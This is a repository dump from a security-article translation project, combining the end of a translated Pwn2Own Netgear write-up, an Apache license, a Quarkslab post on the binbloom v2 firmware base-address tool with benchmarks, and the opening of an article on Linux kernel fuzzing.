我们也要感谢参与 Pwn2Own 项目的 ZDI 团队,感谢他们的建议和对活动的完美组织。我们希望明年再见到你们! 243 | 244 | -------------- 245 | 246 | via: https://www.synacktiv.com/en/publications/pwn2own-austin-2021-defeating-the-netgear-r6700v3.html 247 | 248 | 作者:DKevin Denis, Antide Petit 249 | 选题:[Licae](https://github.com/Licae) 250 | 译者:[b1lack](https://github.com/b1lack) 251 | 校对:[firmianay](https://github.com/firmianay) 252 | 253 | 本文由 [VulnTotal翻译组](https://github.com/VulnTotal-Team/TranslateProject) 原创编译,[VulnTotal安全团队](https://github.com/VulnTotal-Team) 荣誉推出 254 | 255 | [1]: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-27646 256 | [2]: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-27644 257 | [3]: https://blog.grimm-co.com/2021/09/mama-always-told-me-not-to-trust.html 258 | [4]: https://github.com/synacktiv/Netgear_Pwn2Own2021 259 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "[]" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright [yyyy] [name of copyright owner] 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /sources/tech/20220627 Binbloom blooms introducing v2.md: -------------------------------------------------------------------------------- 1 | [#]: collector: (选题人 Licae) 2 | [#]: translator: ( ) 3 | [#]: reviewer: ( ) 4 | [#]: publisher: ( ) 5 | [#]: subject: (Binbloom blooms: introducing v2) 6 | [#]: via: (https://blog.quarkslab.com/binbloom-blooms-introducing-v2.html) 7 | [#]: author: (Damien Cauquil https://blog.quarkslab.com/) 8 | [#]: url: ( ) 9 | Binbloom blooms: introducing v2 10 | ======= 11 | 12 | In this blogpost we present our brand new version of binbloom, a tool to find the base address of any 32 and 64-bit architecture firmware, and dig into the new method we designed to recover this grail on both of these architectures. 13 | 14 | ### Introduction 15 | Reverse-engineering hardware devices usually requires extracting data from memory, be it from an internal Flash of a SoC, an external NAND or SPI flash chip. Extracting memory content is part of the job, but once done we still need to analyze it and face the inevitable truth: we may be in front of an unknown memory dump or just have no idea of how information is stored in it, how it is loaded into the SoC or MCU memory and more generally where we can find interesting data and code. If you are into MCU/SoC firmware reverse-engineering this should sound familiar, as embedded Linux or other operating systems mostly rely on filesystems that can be identified and recovered with well-known tools. 16 | 17 | These firmwares are strongly tied to a specific architecture that uses a given processor with its own peripherals and communication buses, with its own characteristics and specificities, making reverse-engineering a tedious task. This information may be found in the architecture documentation, when available. As a matter of fact, we need dedicated tools to quickly find some specific information before loading a firmware into our preferred disassembler: 18 | 19 | * architecture endianness, because it is better to know how values are stored in memory (and by the way how instructions are decoded); 20 | * the base address at which the firmware content is loaded (if the firmware is not a collage of various blocks of data and code). 21 | 22 | 23 | Moreover, it could also be interesting to automatically detect interesting structures or arrays of structures such as the ones used to store Unified Diagnostic Services message IDs and related functions addresses for instance (these structures are very common in automotive ECU firmwares). 24 | 25 | ### Guessing endianness 26 | The endianness refers to the way integer values are stored in memory: least-significant byte first (little-endian) or most-significant byte first (big-endian, also known as network byte order). Guessing the endianness of an unknown firmware is not straightforward, but most of the existing tools consider these two options and try to determine which one gives the best results. There is no real alternative to this approach, and results are usually pretty good. Moreover, if you know the architecture your firmware is supposed to run on then you may know what endianness it supports (or not, e.g. ARM processors that handle both). Anyways, it is no big deal to figure out which one is used. 27 | 28 | ### Finding a firmware base address 29 | A firmware is usually mapped at a specific address in memory, depending on the architecture and its configuration. It could be loaded by a bootloader and stored at a particular address in RAM, or even be transparently mapped in memory and accessed through a dedicated bus. Supposing we do not know this address, how would we guess it based on what we have? We can only rely on information stored in the firmware, and based on this we would determine the most probable loading address. 30 | 31 | Most of the existing tools like [rbasefind](https://github.com/sgayou/rbasefind), [basefind.py](https://github.com/mncoppola/ws30/blob/master/basefind.py), [basefind.cpp](https://github.com/mncoppola/ws30/blob/master/basefind.cpp), or even [binbloom v1](https://github.com/quarkslab/binbloom/releases/tag/v1.0) try to find valuable data in the content of a firmware, such as text strings or pointers, and use them to recover the base address with more or less success. These methods will be detailed later in this blog post, as well as their pros and cons. The fact is we have tools that are able to guess or recover the base address of a given firmware, unless you have to deal with a 64-bit architecture such as AArch64 or there is no text strings in it. There is no magical tool, and the ones we use also have some flaws and limitations. 32 | 33 | ### Issues and limitations 34 | These tools cannot handle 64-bit firmwares because they were not designed to support them. They are also heavily dependent on the type of data stored inside the firmware, since it is the only input they can use to guess the corresponding base address. You have a firmware with no text strings and a few kilobytes of data? Don't expect too much, as a statistical analysis performed on a few kilobytes may not produce any reliable output. 35 | 36 | The way pointers are determined by these tools is also a weakness, especially when a firmware contains more data than code. In this case, some 32-bit values may be considered as valid pointers whereas they only belong to some data stored in the firmware, thus introducing a bias in any statistical analysis and eventually leading to the wrong base address. 37 | 38 | Nevertheless, the existing tools work pretty well for most of the 32-bit firmware files and memory dumps extracted from usual devices (well-known architecture used with well-known compiler). They are able to find one or more potential base addresses in most of the cases. 39 | 40 | ### Guessing a firmware base address (on 32-bit architectures) 41 | Searching for the base address of a given firmware or memory dump is not trivial and can be solved in different ways: 42 | 43 | * we can try all the possible base address values and try to determine which one gives the maximum number of valid pointers; 44 | * we can infer the base address from valid pointers present in the firmware. 45 | 46 | 47 | Let's review these techniques based on real tools and determine the pros and cons for each of them. 48 | 49 | ### Brute-forcing base address 50 | The first one that comes to mind is the one that has been implemented in rbasefind. This technique is really simple as we only need to iterate over every possible base address (there are 4,294,967,295 of them) and check for each potential pointer found in this firmware if it points to a known text string present in the firmware. It allows us to compute a score for each candidate, and to filter them in order to get the best candidate (the one with the best score, i.e. the one for which we have found the greatest number of pointers pointing to actual text strings). 51 | 52 | rbasefind implements this technique by first looking for text strings and referencing them, and then searching for valid pointers by iterating over all possible base addresses. This technique is really effective for firmwares with enough text strings. A similar approach is implemented in the first version of binbloom when provided with a list of function addresses, rather than letting the tool look for text strings. binbloom then counts unique pointers for each base address candidate, and considers the one with the best score as the most probable base address. 53 | 54 | ### Inferring base address from pointers 55 | Another way of finding a firmware base address is to infer it from pointers that are stored in memory. Multiple valid pointers may share the same most-significant bits as they point to the same memory region, so if we loop over each pointer candidate that may be stored in a firmware and keep the first similar most significant bits, we may deduce the base address or at least some of its most significant bits. 56 | 57 | ![](https://blog.quarkslab.com/resources/2022-05-31_binbloom-v2-release/base-address-inference.png) 58 | 59 | It is possible to infer a base address most significant bits by analyzing pointers found in a firmware 60 | 61 | As shown in the above image, pointers may have the same most-significant bits, in this case bits 11 to 31, that may be useful to deduce the corresponding base address (0x80001000). This technique is less reliable than the first one introduced in this section, as some bits may be missing (but in any case we should be very close to the correct address). 62 | 63 | ### Extending these techniques to support 64-bit architecture firmwares 64 | Implementing the same brute-force technique with 64-bit applications is another story, as the number of candidates will grow from 4,294,967,295 to 35,184,372,088,831 addresses (considering a 47-bit user space address and a page size of 4 bytes when dealing with a 64-bit architecture), which is huge and will take ages to test. However, inferring base address from pointers is still a valid option for 64-bit firmwares, as we may consider 64-bit pointers and search for similar most-significant bits. This technique is not as efficient as the previous one, but may be a good starting point. 65 | 66 | It could also be interesting to find an alternative to the first technique that would not require testing every possible value to determine the correct base address. This was the subject of our research that led to the development of binbloom v2 which is detailed in the following section. 67 | 68 | ### Designing a unified method for 64-bit architectures 69 | Since brute-force is no longer an option, we need to determine an alternative way to find a 64-bit application code base address. First, let us summarize what is inside a classic firmware file or memory dump extracted from external storage: 70 | 71 | * blocks of code containing a set of functions; 72 | * blocks of data containing data used by functions; 73 | * blocks of unused data or simply empty storage space required for alignment. 74 | 75 | 76 | Data include text strings, values, arrays of values, structures, anything required by the code to run properly and store data in a structured manner. One can also find references to data inside a data block, such as one or more pointers that point to one or more specific locations where other data are stored. These pointers are very interesting because they are based on the firmware base address with a specific displacement (called offset), and can be used to find the base address as demonstrated above. Problem is, we don't know how to differentiate a pointer from other types of data stored in the firmware! 77 | 78 | ### Distinguishing code and data 79 | In order to avoid false positives we need to focus on data blocks and the information they contain. Data blocks can be identified thanks to Shannon entropy: a data block entropy is considered to be between 0 and 0.5, and this is a totally arbitrary value based on a set of firmware files we have already analyzed, related to known architectures. Code blocks usually have an entropy between 0.6 and 0.8 (again, based on our observations) and this could vary depending on the architecture (see [o-glasses: Visualizing X86 Code From Binary Using a 1D-CNN](https://ieeexplore.ieee.org/stamp/stamp.jsp?arnumber=8986651) for another example of entropy-based data classification). Entropy is used here as a heuristic value to tell code and data blocks apart, to focus on the latter when searching for candidate base addresses. The following image shows the result of an analysis performed on a firmware: 80 | 81 | 82 | ![](https://blog.quarkslab.com/resources/2022-05-31_binbloom-v2-release/entropy.png) 83 | 84 | One can notice this firmware is composed of two identical blobs with the same entropy pattern, this is often the case when a device uses an A/B update scheme: it allows the device to recover from a failed firmware upgrade. Relying on entropy is also very helpful to determine what type of data a hypothetical pointer may point to. It gives valuable information on this pointer, and therefore on the candidate base address it relates to. 85 | 86 | ### Picking up candidates instead of brute-forcing them 87 | If we identify a text string in a firmware, we can legitimately suppose there is a reference to this text string, somewhere in a code or data block. Code blocks are made of instructions that may use an offset from the location of the instruction to compute the location of the referenced text string, so we cannot expect to find a pointer stored as-is in a code block. However, if a pointer to a specific text string is stored in a data block then it would be really significant (and more probable). Based on this observation, we can consider each 64-bit value from the target firmware as a pointer to a previously identified text string, and compute a candidate base address. We can repeat this for all the text strings and all the 64-bit values present in every data block, and we will end up with a list of candidates for our base address! Moreover, we can count the number of times each candidate base address appears, and store it along with these candidates. 88 | 89 | To illustrate this method, let's consider the following piece of firmware (for clarity purpose, 64-bit values referenced in the following example are truncated to 32 bits): 90 | 91 | ```shell 92 | 0x010070: "Hello world !" 93 | ... 94 | 0x01007F: "This is a demo" 95 | ... 96 | 0x020304: 0x000000008003007F 97 | 0x02030C: 0x0000000080030070 98 | ``` 99 | 100 | Two text strings are present: "Hello world !" at offset `0x010070` and "This is a demo" at offset 0x01007F. We also have two different values at offsets 0x020304 and 0x02030C, respectively `0x8003007F` and `0x80030070`. We then consider the value `0x8003007F` to be a 64-bit pointer onto the first text string, meaning this text string should be located at address 0x8003007F in memory while residing at offset 0x010070 in our firmware. In this case, the base address should be 0x8003007F - 0x010070, which gives `0x8002000F`. However, in the case it points to the second text string, the base address should be `0x8003007F - 0x01007F`, which gives `0x80020000`. We do the same for the second 64-bit value and find two possible base addresses: `0x8001FFF1` and `0x80020000`. 101 | 102 | By doing so, we establish a list of candidate base addresses with an associated value (number of occurrences) that may be considered as a score: 103 | 104 | `0x8001FFF1` with a score of 1 105 | `0x80020000` with a score of 2 106 | `0x8002000F` with a score of 1 107 | We end up with three base address candidates, except we will not cover all the possible values (but remember, we cannot test all the possibilities as it would take ages). Candidate base addresses with the highest scores are more likely to be the base address we are looking for, others may also be of interest and we cannot discard them as we may have false positives. In this example, `0x0000000080020000` seems to be a good base address candidate. 108 | 109 | This technique is faster than enumerating all possible base addresses, but it also has a drawback: the bigger the firmware, the bigger the memory footprint. And memory management is one of the main issues we had to solve in order to have good performances. 110 | 111 | ### Optimizing memory and performance 112 | All candidate base addresses must be stored in memory to count the number of times they appear, but this must be done efficiently. Using a linked list is out of question as we will not be able to search for a given address in a constant time. Using a hash map could be interesting, but it will be difficult to do statistics on a range of addresses, i.e. on a set of items. After having reviewed the different storage paradigms, we decided to use a tree to store the candidate base addresses. In this tree, each node stores 8 bits of a candidate address, from the most significant byte to the least significant byte. The tree leaves store the final count for complete addresses, allowing us to compute a score for address ranges as well as individual addresses. The following image shows what the structure looks like (representing the last 4 layers for 32-bit addresses). 113 | 114 | ![](https://blog.quarkslab.com/resources/2022-05-31_binbloom-v2-release/address-tree.png) 115 | 116 | This also allows for constant complexity while searching for a 64-bit address: we only need 8 operations to get the information we need. Search complexity goes from O(n) to O(8), which drastically improves the efficiency of our algorithm. 117 | 118 | This tree will grow as we are collecting candidate base addresses, until it reaches a point where it requires too much memory. When it happens we prune the tree to only keep the best leaves, i.e. the addresses with the highest scores, freeing as much memory as possible and making room for new candidates. Using this tree allows flexible memory usage while keeping tracks of best candidates. 119 | 120 | ### Points of interest 121 | For each candidate base address found, we count the number of valid references to points of interests we can find within the firmware content. A point of interest is an element in the firmware content that is significant and that can be identified, such as a text string, an array of similar values or a code block. If we find a lot of pointers that point to some valid points of interest considering a candidate base address, then it means this address may be the one we are looking for and its score will increase. Based on entropy, we can distinguish function pointers and data pointers. Pointers on text strings are quite easy to determine, contrary to arrays pointers. 122 | 123 | Moreover, if we stumble upon an array of pointers with all pointers considered valid for a specific candidate base address, this will drastically increase its score as it is highly probable that this base address is the one we are looking for. 124 | 125 | ### Summary of this new method 126 | The proposed unified method follows these different steps: 127 | 128 | 1. analyze firmware's content: compute entropy, determine code and data blocks, search for points of interest (text strings and arrays of similar values) in data blocks; 129 | 2. generate an ordered tree of candidate base addresses, considering each 64-bit value from the firmware content as a potential pointer onto a point of interest; 130 | 3. for each candidate address, consider the number of valid pointers (i.e. pointers pointing on points of interest) and compute a score; 131 | 4. display top 10 candidates from highest score to lowest score. 132 | 133 | This technique is quite efficient, and can also be used on a 32-bit architecture firmware as 32-bit addresses may be extended to 64 bits. 134 | 135 | ### Searching for structured data 136 | The first mandatory step of our proposed method relies on finding potential points of interest that can be verified once we have guessed the base address. With this base address and a list of points of interest in hand, it is tempting to try to identify logically structured data inside a firmware. 137 | 138 | ### Identifying arrays of structures and other types of data 139 | Structures are made of various types of data, but some of them are very common and could be identified. Function pointers and text string pointers, as demonstrated before, are quite easy to determine once we know the base address. But identifying structures is another story, as we need multiple items that follow a specific structure to perform a comparison and then be able to determine a structure pattern. 140 | 141 | Luckily, a lot of programming patterns rely on structure arrays, especially in embedded devices Software Development Kits (SDK). If an embedded software needs to dispatch calls to specific function handlers based on an integer value, or simply using a list of drivers or other items that are stored statically in flash, it will most of the time end up using an array of a specific structure that holds all the required information. This is also the case in automotive embedded systems, as some protocol stacks need to parse messages and call a set of corresponding functions to handle different messages or packets. For instance, some Unified Diagnostic System (UDS) protocol stacks rely on specific message IDs to determine which function should be called to handle them, in what is usually called a UDS database. 142 | 143 | Identifying structure arrays requires to find a series of structures that share the same types of values at the same offsets, thus corresponding to a specific pattern. Finding this pattern also requires to figure out the base structure size, offsets and corresponding types. Once this structure pattern identified, its members may be analyzed and this array of structures becomes a new point of interest as well. 144 | 145 | ### Automatic structure arrays recognition and annotation 146 | This feature is implemented in binbloom v1 and gives pretty good results, even if it focuses on UDS message IDs only. In binbloom v2, we have implemented a more generic detection algorithm that searches for every possible array of structures but restricted it to UDS database search for this first release. It gave pretty good results so far, but we consider that it may be improved in a future release. It could be interesting to make this feature compatible with usual disassemblers and debuggers such as IDA Pro, Ghidra or Radare2, by allowing automatic structure declaration and code annotation if possible. 147 | 148 | ### Introducing Binbloom v2 149 | ### Features 150 | Binbloom v2 implements this new base address recovery technique and UDS database lookup that supports both 32-bit and 64-bit firmwares. It has been tested against a set of various firmware files designed for various architectures and gave pretty decent results and performances. 151 | 152 | Binbloom v2 provides the following features: 153 | 154 | * endianness guessing; 155 | * base address guessing supporting 32-bit and 64-bit architectures; 156 | * UDS database search. 157 | 158 | 159 | We performed a benchmark of binbloom v1, binbloom v2 and rbasefind on a set of various firmware files to see if they are able to guess their endianness and recover the corresponding base addresses: 160 | 161 | | Firmware | Endianness | Size (in bytes) | 162 | | :-----| ----: | :----: | 163 | | AE5R100V | 32 | 1048576 | 164 | | bootloader ARM | 32 | 143360 | 165 | | ECU external flash firmware | 32 | 2162688 | 166 | | bootloader ARM | 32 | 143360 | 167 | |ECU external flash firmware |32 |c2162688| 168 | |IntegrityOS application | 64 | 327680| 169 | |UBoot standalone application |32| 2883584| 170 | |STM32 firmware |32| 9132| 171 | |Teensy firmware |32| 20480| 172 | |Google Titan M firmware (2018) |32| 524288| 173 | |Google Titan M firmware (2019) |32| 524288| 174 | |Google Titan M firmware (2021) |32| 524288| 175 | |Flash Air firmware |32| 2097152| 176 | ### Firmware endianness accuracy 177 | Rbasefind is not able to guess endianness and therefore is not present in the table below. 178 | 179 | |Firmware |Binbloom v1 |Binbloom v2 180 | | :-----| ----: | :----: | 181 | |AE5R100V |yes| yes 182 | |bootloader ARM |no| no 183 | |ECU external flash firmware |yes| yes 184 | |IntegrityOS application |~| yes 185 | |UBoot standalone application |yes| yes 186 | |STM32 firmware |no| no 187 | |Teensy firmware |yes| yes 188 | |Google Titan M firmware (2018) |yes| yes 189 | |Google Titan M firmware (2019) |yes| yes 190 | |Google Titan M firmware (2021) |yes| yes 191 | |Flash Air firmware |yes| yes 192 | 193 | ### Base address search accuracy 194 | Base address search accuracy has been evaluated as the ranking of the correct base address in the base addresses list returned by the tested tool. 195 | 196 | | Firmware | Binbloom v1 | Binbloom v2 | rbasefind| 197 | | :-----| ----: | :----: | :----: | 198 | |AE5R100V |3| 1| 2 199 | |bootloader ARM |3 |2| 2 200 | |ECU external flash firmware |~ |1| 1 201 | |IntegrityOS application |~ |1| ~ 202 | |UBoot standalone application |~ |1| 3 203 | |STM32 firmware |2 |1| 1 204 | |Teensy firmware |~ |1| 1 205 | |Google Titan M firmware (2018) |~ |1| 1 206 | |Google Titan M firmware (2019) |~ |1| 1 207 | |Google Titan M firmware (2021) |~ |1| 1 208 | |Flash Air firmware |2 |1| 1 209 | Binbloom v2 seems to give more accurate results than binbloom v1 and rbasefind for the considered firmwares. 210 | 211 | ### Processing time comparison (in seconds) 212 | The following benchmark has been performed on a Lenovo T480 laptop, using best options for each tool (with a maximum of 8 concurrent threads for Binbloom v2 and rbasefind). 213 | 214 | |Firmware |Binbloom v1 |Binbloom v2 |rbasefind 215 | | :----: | :----: | :----: | :----: | 216 | |AE5R100V |11.33 |3.019| 0.916 217 | |bootloader ARM |5.48| |0.183| 5.40 218 | |ECU external flash firmware |5.78 |5.69| 6.17 219 | |IntegrityOS application |~ |1.453| ~ 220 | |UBoot standalone application |8.228 |0.723| 1.462 221 | |STM32 firmware |5.232 |0.03| 0.064 222 | |Teensy firmware |5.686 |0.068| 0.053 223 | |Google Titan M firmware (2018) |9.664 |1.288| 10.23 224 | |Google Titan M firmware (2019) |9.46 |1.324| 10.095 225 | |Google Titan M firmware (2021) |9.485 |1.64| 11.240 226 | |Flash Air firmware |11.042 |37.52| 44.184 227 | Binbloom v2 seems to be the fastest tool and has been successfully tested on the following architectures: 228 | 229 | * 32-bit and 64-bit ARM 230 | * Tensilica Xtensa 231 | * MIPS 232 | * Renesas SH-2E 32-bit 233 | * Toshiba MeP-c4 234 | 235 | ### There is still room for improvement 236 | This version 2 of binbloom introduces a new approach to find base addresses of unknown firmware dumps for both 32-bit and 64-bit architectures, but still has room for improvement. 237 | 238 | First, determining memory region types based on entropy may vary from one architecture to another, as the thresholds used by binbloom are generic and may not be accurate for some specific architectures. 239 | 240 | We are actually considering implementing a function prologue detection routine for most common architectures in order to quickly identify function pointers, based on an existing disassembler library (like capstone) if possible. This could make function identification more reliable and therefore function pointer identification easier. 241 | 242 | Second, binbloom v2 still relies on the end user to provide information about the target architecture base data size (32 or 64 bits), while it may be able to determine this by itself, as it actually does for endianness. Again, this would require to experiment some algorithms to quickly determine this information without having to analyze a whole firmware file. 243 | 244 | Last but not the least, our latest tests showed that our implementation of structure array identification reports some false positives and must be considered as experimental even if it is used to determine UDS database locations. It definitely requires more work and testing to be used on a regular basis for all types of structures. 245 | 246 | ### Download, test and contribute to Binbloom 247 | Binbloom source code is [available on github](https://github.com/quarkslab/binbloom) and comes with some examples in its readme file and manpage (once installed). Feel free to give it a try, report issues and send pull requests! If you want to share some specific firmware files that may help improving binbloom, please open an issue or ping me. 248 | 249 | -------------------------------------------------------------------------------- 250 | 251 | via: https://blog.quarkslab.com/binbloom-blooms-introducing-v2.html 252 | 253 | 作者:[Damien Cauquil](https://blog.quarkslab.com/author/damien-cauquil.html) 254 | 选题:[Licae][a] 255 | 译者:[译者 ID](https://github.com/译者 ID) 256 | 校对:[校对 ID](https://github.com/校对 ID) 257 | 258 | [a]: https://github.com/Licae 259 | [b]: 选题链接 URL 260 | [1]: 图片链接地址 261 | [2]: 文内链接地址 -------------------------------------------------------------------------------- /sources/tech/20220901 Ruffling the penguin! How to fuzz the Linux kernel.md: -------------------------------------------------------------------------------- 1 | [#]: collector: (选题人 Licae) 2 | [#]: translator: ( ) 3 | [#]: reviewer: ( ) 4 | [#]: publisher: ( ) 5 | [#]: subject: (Ruffling the penguin! How to fuzz the Linux kernel) 6 | [#]: via: (https://hackmag.com/security/linux-fuzzing/) 7 | [#]: author: (xairy https://hackmag.com/author/xairy/) 8 | [#]: url: ( https://hackmag.com/security/linux-fuzzing/) 9 | 10 | Ruffling the penguin! How to fuzz the Linux kernel 11 | ======= 12 | For the last five years, I’ve been using fuzzing to find vulnerabilities in the Linux kernel. During that time, I implemented three major projects: fuzzed the network subsystem through system calls (and wrote [several exploits](https://github.com/xairy/kernel-exploits) for the identified bugs), then fuzzed the network [externally](https://github.com/google/syzkaller/blob/master/docs/linux/external_fuzzing_network.md), and, finally, fuzzed the USB subsystem [from the device side](https://docs.google.com/presentation/d/10V_msbtEap9dNerKvTrRAzvfzYdrQFC8e2NYHCZYJDE/edit#slide=id.g1925acbbf3_0_0). 13 | 14 | > INFO 15 | This article was written by the HackMag Editorial Board based on the [Fuzzing the Linux kernel](https://2021.phdays.com/ru/program/reports/fuzzing-the-linux-kernel/) talk by [Andrey Konovalov](https://xairy.io/). The article was reviewed by the speaker, and the information is presented in the first person with his permission. 16 | 17 | In the course of my fuzzing-related work, such attacks were of no interest to me. Instead, I was looking for kernel memory corruptions. The attack scenario is similar to BadUSB: you plug in a specially crafted USB device, and it starts its malicious activity. The difference is that this device doesn’t type commands pretending to be a keyboard, but exploits a vulnerability in a USB driver and executes arbitrary code in the kernel. 18 | 19 | Over the years I worked on kernel fuzzing, I’ve been reading and collecting fuzzing-related publications. So, I organized them and turned into a talk. Today, I will describe several kernel fuzzing approaches and give some advice to novice researchers interested in this topic. 20 | 21 | ### 